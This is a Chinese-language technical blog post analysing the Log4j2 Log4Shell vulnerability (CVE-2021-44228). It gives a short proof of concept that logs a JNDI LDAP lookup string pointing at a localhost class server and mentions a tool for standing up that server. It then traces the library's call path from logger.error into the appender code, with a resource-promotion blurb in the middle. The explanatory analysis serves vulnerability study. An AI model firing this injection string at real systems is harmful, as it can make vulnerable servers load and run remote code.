0x00 介绍
Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告
分配CVE编号:CVE-2021-44228
CVSS评分:10.0(最高只能10分)
POC比较简单
public static void main(String[] args) throws Exception {logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}
POC虽然简单,但是搭建LDAP环境显得有点复杂,marshalsec方式需要自行编译class并搭建HTTP服务端
java -jar LDAPKit.jar [命令]
截图如下
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8d4fe34cbd114d0f81629915feba971d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0114.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0114.png"" style="margin: auto" />
【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线
0x01 RCE分析
首先来看RCE是怎样的原理,先来一段又臭又长的流程分析
看看从logger.error到JndiLookup.lookup中间经历了些什么
从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法
private void tryLogMessage(final String fqcn, final StackTraceElement location, final Level level, final Marker marker, final Message message, final Throwable throwable) {try {log(level, marker, fqcn, location, message, throwable);} catch (final Exception e) {handleLogMessageException(e, fqcn, message);}
}
不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法
@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) {final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();if (strategy instanceof LocationAwareReliabilityStrategy) {// 触发点((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,message, throwable);} else {strategy.log(this, getName(), fqcn, marker, level, message, throwable);}
}
跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,final StackTraceElement location, final Marker marker, final Level level, final Message data,final Throwable t) {loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
进入LoggerConfig.log方法
@PerformanceSensitive("allocation")public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,final Level level, final Message data, final Throwable t) {// 无需关心的代码...try {// 跟入log(logEvent, LoggerConfigPredicate.ALL);} finally {ReusableLogEventFactory.release(logEvent);}}
进入LoggerConfig另一处重载log方法
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {if (!isFiltered(event)) {// 跟入processLogEvent(event, predicate);}
}
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {event.setIncludeLocation(isIncludeLocation());if (predicate.allow(this)) {// 关键点callAppenders(event);}logParent(event, predicate);
}
可以看到调用appender.control的callAppender方法
@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {final AppenderControl[] controls = appenders.get();//noinspection ForLoopReplaceableByForEachfor (int i = 0; i < controls.length; i++) {controls[i].callAppender(event);}
}
层层跟入到AppenderControl.tryCallAppender方法
private void callAppender0(final LogEvent event) {ensureAppenderStarted();if (!isFilteredByAppender(event)) {// 跟入tryCallAppender(event);}
}
private void tryCallAppender(final LogEvent event) {try {// 跟入appender.append(event);} catch (final RuntimeException error) {handleAppenderError(event, error);} catch (final Exception error) {handleAppenderError(event, new AppenderLoggingException(error));}
}
进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法